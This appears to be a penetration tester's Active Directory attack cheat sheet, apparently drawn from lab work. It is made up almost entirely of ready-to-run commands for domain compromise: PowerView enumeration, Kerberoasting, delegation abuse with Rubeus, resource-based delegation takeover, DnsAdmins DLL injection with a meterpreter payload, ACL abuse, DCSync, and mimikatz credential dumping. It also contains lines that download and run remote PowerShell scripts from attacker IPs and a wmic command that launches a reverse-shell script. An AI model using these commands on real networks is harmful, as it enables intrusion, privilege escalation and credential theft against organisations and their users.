| Get-DomainSite - search for all sites or specific site objects in AD | |
| Get-DomainSubnet - search for all subnets or specific subnets objects in AD | |
| Get-DomainSID - returns the SID for the current domain or the specified domain | |
| Get-DomainGroup - return all groups or specific group objects in AD | |
| New-DomainGroup - creates a new domain group (assuming appropriate permissions) and returns the group object | |
| Get-DomainManagedSecurityGroup - returns all security groups in the current (or target) domain that have a manager set | |
| Get-DomainGroupMember - return the members of a specific domain group | |
| Add-DomainGroupMember - adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so | |
| Get-DomainFileServer - returns a list of servers likely functioning as file servers | |
| Get-DomainDFSShare - returns a list of all fault-tolerant distributed file systems for the current (or specified) domain | |
| ## GPO functions | |
| Get-DomainGPO - returns all GPOs or specific GPO objects in AD | |
| Get-DomainGPOLocalGroup - returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences | |
| Get-DomainGPOUserLocalGroupMapping - enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation | |
| Get-DomainGPOComputerLocalGroupMapping - takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation | |
| Get-DomainPolicy - returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller | |
| ## Computer Enumeration Functions | |
| Get-NetLocalGroup - enumerates the local groups on the local (or remote) machine | |
| Get-NetLocalGroupMember - enumerates members of a specific local group on the local (or remote) machine | |
| Get-NetShare - returns open shares on the local (or a remote) machine | |
| Get-NetLoggedon - returns users logged on the local (or a remote) machine | |
| Get-NetSession - returns session information for the local (or a remote) machine | |
| Get-RegLoggedOn - returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys | |
| Get-NetRDPSession - returns remote desktop/session information for the local (or a remote) machine | |
| Test-AdminAccess - rests if the current user has administrative access to the local (or a remote) machine | |
| Get-NetComputerSiteName - returns the AD site where the local (or a remote) machine resides | |
| Get-WMIRegProxy - enumerates the proxy server and WPAD conents for the current user | |
| Get-WMIRegLastLoggedOn - returns the last user who logged onto the local (or a remote) machine | |
| Get-WMIRegCachedRDPConnection - returns information about RDP connections outgoing from the local (or remote) machine | |
| Get-WMIRegMountedDrive - returns information about saved network mounted drives for the local (or remote) machine | |
| Get-WMIProcess - returns a list of processes and their owners on the local or remote machine | |
| Find-InterestingFile - searches for files on the given path that match a series of specified criteria | |
| ## Threaded 'Meta'-Functions | |
| Find-DomainUserLocation - finds domain machines where specific users are logged into | |
| Find-DomainProcess - finds domain machines where specific processes are currently running | |
| Find-DomainUserEvent - finds logon events on the current (or remote domain) for the specified users | |
| Find-DomainShare - finds reachable shares on domain machines | |
| Find-InterestingDomainShareFile - searches for files matching specific criteria on readable shares in the domain | |
| Find-LocalAdminAccess - finds machines on the local domain where the current user has local administrator access | |
| Find-DomainLocalGroupMember - enumerates the members of specified local group on machines in the domain | |
| ## Domain Trust Functions | |
| Get-DomainTrust - returns all domain trusts for the current domain or a specified domain | |
| Get-ForestTrust - returns all forest trusts for the current forest or a specified forest | |
| Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain | |
| Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member | |
| Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds | |
| ## Examples | |
| Find-DomainUserLocation -UserAdminCount -Domain dev.ADMIN.OFFSHORE.COM # Enumerates computers in dev.testlab.local and returns user results for privileged users in dev.testlab.local. | |
| Find-DomainUserLocation -Domain dev.ADMIN.OFFSHORE.COM -UserIdentity svc_devops -UserDomain corp.local -CheckAccess | |
| Get-NetLocalGroup -ComputerName DC02.dev.ADMIN.OFFSHORE.COM # Enumerates the local groups on the local (or remote) machine. | |
| Get-NetLocalGroupMember -ComputerName DC02.dev.ADMIN.OFFSHORE.COM -GroupName CORP_admins | ft # Enumerates members of a specific local group on the local (or remote) machine. | |
| Find-DomainShare -CheckShareAccess|Out-File -FilePath sharefinder.txt # Look for shares on network and check access under current user context & Log to file | |
| Find-DomainShare -Domain testlab.local -Credential $Cred # Searches for domain shares in the testlab.local domain using the specified alternate credentials. | |
| Get-DomainGroup "Domain Admins" | Get-DomainGroupMember # Discover Admin Accounts: Group Enumeration | |
| Get-DomainGroup "*admins*" | Get-DomainGroupMember -Recurse | ?{$_.MmberName -Like '*$'} # Attack of the Machines - find Computers with Admin Rights | |
| Get-DomainGroup "*admins*" | Get-DomainGroupMember -Recurse | ?{$_.MmberName -Like '*.*'} # Discover Users with Admin Rights | |
| Get-DomainGroup "*Hyper*" | Get-DomainGroupMember # Discover Virtual Admins | |
| Get-DomainGroup "*VMWare*" | Get-DomainGroupMember # Discover Virtual Admins | |
| Get-DomainGroup "*admin*"" | select distinguishedname | |
| Get-DomainGroup "*admin*"" -Properties samaccountname | Get-DomainGroupMember | |
| Get-DomainGroup -Domain dev.ADMIN.OFFSHORE.COM -Credential $cred | select distinguishedname | |
| Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl | |
| "Power Users" | Get-DomainGroupMember -Domain testing # gets a list of all current users in a specified domain group | |
| "Denied RODC Password Replication Group" | Get-DomainGroupMember # Discover Admin Accounts – RODC Groups | |
| "Cumtomized Domain Group Name"| Get-DomainGroupMember | |
| 'Desktop Admins' | Get-DomainGroupMember -Recurse | |
| Get-DomainObjectAcl -domain corp.local -Identity svc_testldap # returns the ACLs associated with a specific active directory object | |
| Get-DomainObject -Identity "dc=ADMIN,dc=OFFSHORE,dc=COM" -Domain dev.ADMIN.OFFSHORE.COM # returns domain object attributes | |
| Get-DomainController -Domain dev.ADMIN.OFFSHORE.COM # returns domain controller information | |
| Get-DomainUser -Identity svc_testldap -Domain corp.local # returns all user objects, or the user specified (wildcard specifiable) | |
| Get-DomainUser -AdminCount | Select name, whencreated, pwdlastset, lastlogon # Discover Admin Accounts – AdminCount = 1 | |
| Get-DomainUser "S-1-5-21-2291914956-3290296217-2402366952-3609","administrator" # Return the user with the given SID, as well as Administrator. | |
| New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred | |
| New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred | |
| Get-DomainComputer | select cn # get all computer name | |
| Get-DomainComputer | foreach-object {Resolve-IPAddress $_.cn} # get all computer IP | |
| Get-DomainComputer -Credential $cred -Domain dev.ADMIN.OFFSHORE.COM # Discover computer's in domain dev.ADMIN.OFFSHORE.COM | |
| Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained -Credential $Cred # Search the specified OU for computeres that allow unconstrained delegation. | |
| Get-DomainSID -Domain dev.ADMIN.OFFSHORE.COM # S-1-5-21-1416445593-394318334-2645530166 | |
| Get-DomainSID -Domain ADMIN.OFFSHORE.COM # S-1-5-21-1216317506-3509444512-4230741538 | |
| Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred # Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. | |
| Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword # This function modifies the ACL/ACE entries for a given Active Directory target object specified by TargetIdentity. Available -Rights are 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended rights GUID can be set with -RightsGUID. | |
| Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights All | |
| Get-DomainPolicyData -Domain dev.testlab.local # Returns the default domain policy for the dev.testlab.local domain. | |
| Get-GPODelegation # Returns all GPO delegations in current forest. | |
| Get-DomainGPO -ComputerName windows1.testlab.local # Returns all GPOs applied windows1.testlab.local | |
| Get-DomainGPOLocalGroup 'Desktops' # Return any GPO-set groups for the GPO with the given display name. | |
| Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local # Find all computers that dfm user has local administrator rights to in the dev.testlab.local domain. | |
| Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local # Finds users who have local admin rights over WINDOWS3 through GPO correlation. | |
| Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR # Request kerberos service tickets for all users with non-null SPNs and output in JTR format. | |
| Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" # Request a kerberos service ticket for the specified SPN. | |
| "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket # Request kerberos service tickets for all SPNs passed on the pipeline. | |
| Find-InterestingDomainAcl -domain corp.local -SamAccountName svc_testldap # enumerate -1000+ modifable ACLs on a specified domain | |
| Find-InterestingDomainAcl ResolveGUIDs -ADSpath 'OU=Accounts,DC=corp,DC=local'| where {$_.ActiveDirectoryRights -eq 'GenericAll'} # Follow the Delegation | |
| Get-DecryptedCpassword 'WEEDSA89Dy8df9as0fh907dshaas' # Decrypt password from Group Policy Preferences \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\ | |
| Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local -ProcessName putty.exe -Credential $Cred | |
| ## PowerMad - https://github.com/Kevin-Robertson/Powermad | |
| Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.2:8000/Powermad.ps1'); | |
| Get-MachineAccountAttribute -MachineAccount test -Attribute discription | |
| Get-MachineAccountCreator | |
| Disable-MachineAccount -MachineAccount test | |
| Enable-MachineAccount -MachineAccount test | |
| New-MachineAccount -MachineAccount test | |
| New-MachineAccount -MachineAccount FS02 -Password $(ConvertTo-SecureString 'P@ssw0rd12345' -AsPlainText -Force) -Verbose -DomainController DC02.dev.ADMIN.OFFSHORE.COM -Domain dev.ADMIN.OFFSHORE.COM | |
| Remove-MachineAccount -MachineAccount test -Credential $domainadmin | |
| Set-MachineAccountAttribute -MachineName test -Attribute SamAccountName -Value test | |
| runas /netonly /user:domain\test powershell | |
| ## Unconstrained Delegation | |
| Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description # Hunting for computer accounts that have kerberos unconstrained delegation enabled | |
| #### check if TrustedForDelegation field set to $true | |
| With unconstrained delegation enabled on the computer, when the privileged users connect to the computer, their TGT will be stored in memory, which can be replayed to move laterally and compromise a domain controller. | |
| sekurlsa::tickets /export | |
| Service Name (02): cifs ; computerName ; @corp.local # this is TGS | |
| Service Name (02): krbtgt ; computerName ; @corp.local # this is TGT | |
| Kerberos::ptt # pass-the-ticket and get Domain Admin rights | |
| 1. Attacker discovers and compromises a system with Kerberos unconstrained delegation. Note that if an attacker compromises a Domain Controller in a trusted forest (with a 2-way trust), this can be used to compromise the other forest. | |
| 2. Attacker tests for and discovers a Domain Controller running the Print Spooler (Spooler) service. | |
| 3. Attacker sends the MS-RPRN request RpcRemoteFindFirstPrinterChangeNotification (Kerberos auth) to the DC’s print server. | |
| 4. The DC immediately sends a response to the requester. This response involves the DC creating a Kerberos service ticket (TGS) which contains the Domain Controller’s computer account Kerberos authentication ticket (TGT) since Kerberos is involved and the requesting account is configured with unconstrained delegation. | |
| 5. The attacker now has the Domain Controller computer account Kerberos TGT which can be used to impersonate the DC. | |
| 6. DCSync all account credentials (or other attack involving DA credentials as desired). | |
| #### Domain Compromise via DC Print Server and Kerberos Delegation | |
| ls \\dc01\pipe\spoolss # check if a spool service is running on a remote host - https://github.com/vletoux/SpoolerScanner, modify ps script $rprn.CheckIfTheSpoolerIsActive("192.168.0.20") | |
| .\SpoolSample.exe dc01 ws01 # target and compromised server - https://github.com/leechristensen/SpoolSample | |
| sekurlsa::tickets # check if we can retrieve DC01 TGT | |
| lsadump::dcsync /domain:offense.local /user:spotless # make our compromised system ws01$ appear like a Domain Controller and extract an NTLM hash for the user | |
| ## Constained Delegation | |
| For eg, user spot has constained delegation permission turned on. | |
| It can be used to impersonate any user and authenticate to a file system service (CIFS) on a domain controller DC01 | |
| ## Obtain a TGT for the Constained allowed user | |
| .\Rubeus.exe asktgt /user:spot /rc4:dc7a49c0c36399ae87f3de623ebab985 /outfile:TGT_spot.kirbi | |
| ## ticket is the base64 ticket we get with `rubeus's tgtdeleg` | |
| .\Rubeus.exe s4u /ticket:TGT_spot.kirbi /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt | |
| #### exploit constrained delegation using the specified computer account | |
| [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null | |
| $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator') | |
| $idToImpersonate.Impersonate() | |
| [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name | |
| ## Obtain a TGT for the Constained allowed user | |
| .\Rubeus.exe asktgt /user:MS02$ /rc4:dc7a49c0c36399ae87f3de623ebab985 /outfile:TGT_MS02.kirbi | |
| ## Obtain service TGS impersonating Administrator (CIFS) | |
| .\Rubeus.exe s4u /ticket:TGT_MS02.kirbi /impersonateuser:administrator /domain:client.offshore.com /msdsspn:cifs/dc04.client.offshore.com /dc:dc04.client.offshore.com /ptt | |
| ## Impersonate Administrator on different service (HOST) | |
| .\Rubeus.exe s4u /ticket:TGT_MS02.kirbi /impersonateuser:administrator /domain:client.offshore.com /msdsspn:cifs/dc04.client.offshore.com /altservice:cifs,HOST,HTTP,RPCSS,LDAP /dc:dc04.client.offshore.com /ptt | |
| ## check the kerberos tickets | |
| klist | |
| ## Remote commands execution | |
| dir \\dc04.CLIENT.OFFSHORE.COM\c$ # CIFS | |
| .\PsExec64.exe \\dc04.CLIENT.OFFSHORE.COM cmd # HOST,HTTP | |
| copy rev.ps1 \\dc04.client.offshore.com\c$\windows\temp && wmic /authority:"kerberos:client.offshore.com\DC04" /node:172.16.4.5 process call create "powershell -f c:\windows\temp\rev.ps1" # CIFS,HOST,PRCSS | |
| lsadump::dcsync /domain:client.offshore.com /user:administrator # LDAP | |
| ## Kerberos Resource-based Constrained Delegation | |
| IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.126:8080/Powermad.ps1"); | |
| New-MachineAccount -MachineAccount FS02 -Password $(ConvertTo-SecureString 'P@ssw0rd12345' -AsPlainText -Force) -Verbose -DomainController DC02.dev.ADMIN.OFFSHORE.COM -Domain dev.ADMIN.OFFSHORE.COM | |
| Get-DomainComputer FS02 -Domain dev.ADMIN.OFFSHORE.COM | |
| $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1416445593-394318334-2645530166-7101)" | |
| $SDBytes = New-Object byte[] ($SD.BinaryLength) | |
| $SD.GetBinaryForm($SDBytes, 0) | |
| $Cred = New-Object System.Management.Automation.PSCredential('dev.ADMIN.OFFSHORE.COM\joe', (new-object System.Security.SecureString)) | |
| Get-DomainComputer DC02 -Domain dev.ADMIN.OFFSHORE.COM | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose -Domain dev.ADMIN.OFFSHORE.COM -Credential $Cred | |
| Get-DomainComputer DC02 -Domain dev.ADMIN.OFFSHORE.COM -Properties 'msds-allowedtoactonbehalfofotheridentity' | |
| Rubeus.exe hash /password:P@ssw0rd12345 /user:FS02 /domain:dev.ADMIN.OFFSHORE.COM | |
| rubeus.exe s4u /user:FS02$ /domain:dev.ADMIN.OFFSHORE.COM /dc:dc02.dev.ADMIN.OFFSHORE.COM /rc4:25CB75FB3F857DE4BB08FEDDCA639D2D /impersonateuser:Administrator /msdsspn:cifs/DC02.dev.ADMIN.OFFSHORE.COM /ptt | |
| dir \\dc02.dev.ADMIN.OFFSHORE.COM\c$ | |
| klist purge | |
| rubeus.exe s4u /user:FS02$ /domain:dev.ADMIN.OFFSHORE.COM /rc4:25CB75FB3F857DE4BB08FEDDCA639D2D /impersonateuser:Administrator /msdsspn:cifs/DC02.dev.ADMIN.OFFSHORE.COM /altservice:http,host /dc:DC02.dev.ADMIN.OFFSHORE.COM /ptt | |
| PsExec64.exe \\dc02.dev.ADMIN.OFFSHORE.COM cmd | |
| ## From DnsAdmins to SYSTEM to Domain Compromise - The attack relies on a DLL injection into the dns service running as SYSTEM on the DNS server which most of the time is on a Domain Contoller. | |
| net user spotless /domain # For the attack to work, we need to have compromised a user that belongs to a DnsAdmins group | |
| set payload windows\x64\meterpreter_reverse_tcp # Building the DLL | |
| dnscmd dc01 /config /serverlevelplugindll \\10.0.0.2\tools\dns-priv\dnsprivesc.dll # Abuse DNS with dnscmd | |
| Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll # check if our request was successful and the registry value ServerLevelPluginDll points to our malicious DLL | |
| sc.exe \\dc01 stop dns | |
| sc.exe \\dc01 start dns # DNS service is probably crashed, so be warned | |
| #cleanup | |
| reg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters | |
| reg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll | |
| sc.exe \\10.0.0.6 stop dns | |
| sc.exe \\10.0.0.6 start dns | |
| ## misc | |
| Invoke-ShareFinder -ExcludeStandard -Domain corp.local | |
| Find-LocalAdminAccess -Domain corp.local | |
| Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv | |
| ## auto exploitation | |
| $pw = ConvertTo-SecureString "P@ssW0rD!" -AsPlainText -Force | |
| $cred = New-Object System.Management.Automation.PsCredential("administrator", $pw) | |
| Get-ExploitableSystem -DomainController 172.16.1.5 -Credential $cred | Format-Table -AutoSize # finds systems likely vulnerable to common exploits | |
| ## Invoke-ACLpwn - automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured. | |
| https://github.com/fox-it/Invoke-ACLPwn | |
| ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!' | |
| ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -NoDCSync -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!' | |
| ## Abusing Active Directory ACLs/ACEs | |
| ## Readassword on User | |
| user/group has ReadGMSAPassword privilege to Group Managed Service Accounts can retrive the password of the group of Group Managed Service Accounts. | |
| $gmsa = Get-ADServiceAccount -Identity web_svc -Properties 'msMD-ManagedPassword' | |
| $mp = $gmsa.'msMD-ManagedPassword' | |
| $secpwd = (convertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | |
| $cred = New-Object System.Management.Automation.PSCredential "username",$secpwd | |
| Invoke-Command -ComputerName 127.0.0.1 -Cred $cred -ScriptBlock {whoami} | |
| ## GenericAll on User | |
| net user victim new_password /domain | |
| ### with active directory module | |
| Set-ADAccountPassword -Identity victim -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$newPass" -Force) | |
| ### with Powersploit | |
| $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
| Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword | |
| ## GenericAll on Group | |
| net group "domain admins" compromised_user /add /domain | |
| ### with active directory module | |
| Add-ADGroupMember -Identity "domain admins" -Members spotless | |
| ### with Powersploit | |
| Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" | |
| ## GenericAll / GenericWrite / Write on Computer | |
| Prerequisites: | |
| 1. Check if a domain member can add up to 10 computers to the domain, look for property ms-ds-machineaccountquota | |
| Get-DomainObject -Identity "dc=DEV,dc=ADMIN,dc=OFFSHORE,dc=COM" -Domain dev.ADMIN.OFFSHORE.COM | |
| 2. the DC need to be running at least Windows 2012 | |
| Get-DomainController -Domain dev.ADMIN.OFFSHORE.COM | |
| 3. check target computer object must not have the attribute msds-allowedtoactonbehalfofotheridentity set | |
| Get-DomainComputer DC02.dev.ADMIN.OFFSHORE.COM -Domain dev.ADMIN.OFFSHORE.COM | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity | |
| execution refer to Kerberos Resource-based Constrained Delegation: Computer Object Take Over | |
| ## WriteProperty on Group | |
| Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; | |
| ## Self (Self-Membership) on Group | |
| Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; | |
| ## WriteProperty (Self-Membership) | |
| net group "domain admins" spotless /add /domain | |
| ## ForceChangePassword | |
| Set-DomainUserPassword -Identity salvador -AccountPassword $UserPassword -Credential $Cred | |
| Set-DomainUserPassword -Identity delegate -Verbose # use it when you have a UI | |
| ## WriteOwner on Group | |
| Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose | |
| ## GenericWrite on User | |
| Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" | |
| ## WriteDACL + WriteOwner | |
| Add-DomainObjectAcl -TargetIdentity "CN=MailAdmins,OU=TGroups,DC=tricky,DC=com" -PrincipalIdentity SQLSVC -Rights All -Verbose | |
| Add-DomainGroupMember -Identity MAILADMINS -Members SQLSVC | |
| ## hasSession - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Invoke-TokenManipulation.ps1 | |
| Get-NetLoggedon -ComputerName sqlserver -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -Credential $Cred | |
| Get-NetSession -ComputerName sqlserver -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -Credential $Cred | |
| Get-RegLoggedOn -ComputerName sqlserver -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -Credential $Cred | |
| Get-NetRDPSession -ComputerName sqlserver -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -Credential $Cred | |
| Find-DomainProcess -ComputerName 'DC02' -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -UserIdentity 'Administrator' -UserDomain 'ADMIN.OFFSHORE.COM' | |
| Find-DomainUserEvent -ComputerName 'DC02' -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -UserIdentity 'Administrator' -UserDomain 'ADMIN.OFFSHORE.COM' | |
| ## mimikatz | |
| mimikatz lsadump::sam, lsadump::cache, lsadump::secrets, lsadump::lsa | |
| mimikatz sekurlsa::logonpasswords | |
| meterpreter > load incognito | |
| Loading extension incognito...Success. | |
| meterpreter > list_tokens -u | |
| Delegation Tokens Available | |
| ======================================== | |
| DEV\imaginarybit | |
| NT AUTHORITY\LOCAL SERVICE | |
| NT AUTHORITY\NETWORK SERVICE | |
| NT AUTHORITY\SYSTEM | |
| Window Manager\DWM-1 | |
| Impersonation Tokens Available | |
| ======================================== | |
| ADMIN\DC03$ | |
| DEV\Administrator | |
| NT AUTHORITY\ANONYMOUS LOGON | |
| meterpreter > impersonate_token "ADMIN\DC03$" | |
| [-] No delegation token available | |
| [+] Successfully impersonated user ADMIN\DC03$ | |
| whoami | |
| admin\dc03$ | |
| ## Adds an ACL for a specific active directory object. Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. | |
| $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid | |
| Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} | |
| ... | |
| Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose | |
| $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid | |
| Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} | |
| [no results returned] | |
| $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force | |
| $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
| Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose | |
| Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } | |
| ## Impersonate Another Domain User | |
| $cred = New-Object System.Management.Automation.PSCredential "BURMAT\John.Smith", $(ConvertTo-SecureString "Spring2020!" -AsPlainText -Force); | |
| find-domainshare -computername fs01.burmat.local -Credential $cred -computerdomain burmat.local -CheckShareAccess | |
| Invoke-UserImpersonation -Credential $cred | |
| dir \\fs01.burmat.local\Private | |
| ## Set-DomainUserPassword - If you own the owner of another AD user object (WriteOwner, WriteDACL, GenericWrite, Owner, etc), you can reset the password with ease | |
| $SecPassword = ConvertTo-SecureString 'I l0ve going Fishing!' -AsPlainText -Force | |
| $Cred = New-Object System.Management.Automation.PSCredential('corp.local\pgibbons', $SecPassword) | |
| $UserPassword = ConvertTo-SecureString 'Password123!#$' -AsPlainText -Force | |
| Set-DomainUserPassword -Identity salvador -AccountPassword $UserPassword -Credential $Cred | |
| ## Set-DomainObjectOwner | |
| $SecPassword = ConvertTo-SecureString 'I l0ve going Fishing!' -AsPlainText -Force | |
| $Cred = New-Object System.Management.Automation.PSCredential('corp.local\pgibbons', $SecPassword) | |
| Set-DomainObjectOwner -Identity salvador -OwnerIdentity pgibbons -Credential $Cred | |
| ## How DCSync works: | |
| 1. Discovers Domain Controller in the specified domain name. | |
| 2. Requests the Domain Controller replicate the user credentials via GetNCChanges (leveraging Directory Replication Service (DRS) Remote Protocol) | |
| ## a regular domain user account to run DCSync - three rights need to be delegated at the domain level | |
| 1. Replicating Directory Changes (The “DS-Replication-Get-Changes” extended right, CN: DS-Replication-Get-Changes, GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) | |
| 2. Replicating Directory Changes All (The “Replicating Directory Changes All” extended right, CN: DS-Replication-Get-Changes-All, GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) | |
| 3. Replicating Directory Changes In Filtered Set (The “Replicating Directory Changes In Filtered Set” extended right (this one isn’t always needed but we can add it just in case, CN: DS-Replication-Get-Changes-In-Filtered-Set, GUID: 89e95b76-444d-4c62-991a-0facbeda640c) | |
| ## Add/Exploit DCSync Rights - If you have WriteDACL to a domain admins/group. Give DCSync rights to an unprivileged domain user account | |
| Add-DomainObjectAcl -TargetIdentity "DC=burmatco,DC=local" -PrincipalIdentity useracct1 -Rights DCSync | |
| Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity 'Legacy Web Servers' -Rights DCSYNC -Verbose | |
| Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity cyber_adm -Rights All -Verbose | |
| lsadump::dcsync /domain:corp.local /user:iamtheadministrator | |
| meterpreter > dcsync_ntlm BURMATCO\\useracct1 # dump user's NTLM hashes from the domain | |
| or | |
| lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator | |
| or | |
| lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt # using krbtgt to create golden ticket | |
| ## Domain Trust Attack | |
| 1. Enumerate all trust your current domain has and map of all the domains you can reach from your current context through the linking of trust referrals. | |
| 2. Enumerate any users/groups/computers (security principals) in one domain that either (1) have access to resources in another domain or (2) are in groups or have users from another domain. | |
| 3. If a domain trusts you, i.e. if the trust is bidirectional or if one-way and inbound, then you can query any Active Directory information from the trusting domain. | |
| 4. All parent->child (intra-forest domain trusts) retain an implicit two way transitive trust with each other | |
| 5. “Enterprise Admins” group is automatically added to child domains' Administrators domain local group in each domain in the forest. | |
| ## There are three main ways that security principals (users/groups) from one domain can have access into resources in another foreign/trusting domain | |
| Case 1: Local Group Membership: Get-NetLocalGroupMember <server> | |
| Case 2: Foreign Group Membership: Get-DomainObject -Domain sub.dev.testlab.local -LDAPFilter '(objectclass=ForeignSecurityPrincipal)' | select -Last 2 | |
| Case 3: Foreign ACL Principals: Get-DomainObjectACL -Domain <domain.fqdn> | |
| Get-DomainTrust - returns all domain trusts for the current domain or a specified domain | |
| Get-ForestTrust - returns all forest trusts for the current forest or a specified forest | |
| Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain | |
| Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member | |
| Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds | |
| Get-DomainTrust -SearchBase “gc://$($ENV:USERDNSDOMAIN)” # Return all domain trusts in the entire forest | |
| Get-DomainTrust -NET -Domain "prod.testlab.local" | |
| Get-DomainTrust -API -Domain "prod.testlab.local" | |
| Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred | |
| Get-ForestTrust -Forest "external.local" | |
| Get-ForestTrust -Forest "external.local" -Credential $Cred | |
| Get-DomainForeignUser # Return all users in the current domain who are in groups of foreign domain. | |
| Get-DomainForeignUser -Domain dev.testlab.local # Return all users in the dev.testlab.local domain who are in groups of foreign domain. | |
| "S-1-5-21-1216317506-3509444512-4230741538-1108" | ConvertFrom-SID # Return username | |
| Get-DomainForeignGroupMember # Return all group members in the current domain where the group and member differ. | |
| Get-DomainForeignGroupMember -Domain dev.testlab.local # This enumerates groups in the target domain that contain users/groups who are not in the target domain. | |
| Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv | |
| Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv | |
| Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv | |
| ## Trustpocalypse | |
| If the next domain hop is in the same forest as the domain we’re pivoting from/through, AND we’re able to compromise the krbtgt hash of the child domain | |
| ## The path of security principals (users/groups) from one domain can have access into resources in another foreign/trusting domain | |
| 1. They can be added to local groups on individual machines, i.e. the local “Administrators” group on a server. | |
| Get-NetLocalGroupMember <server> | |
| 2. They can be added to groups in the foreign domain. There are some caveats depending on trust type and group scope, described shortly. | |
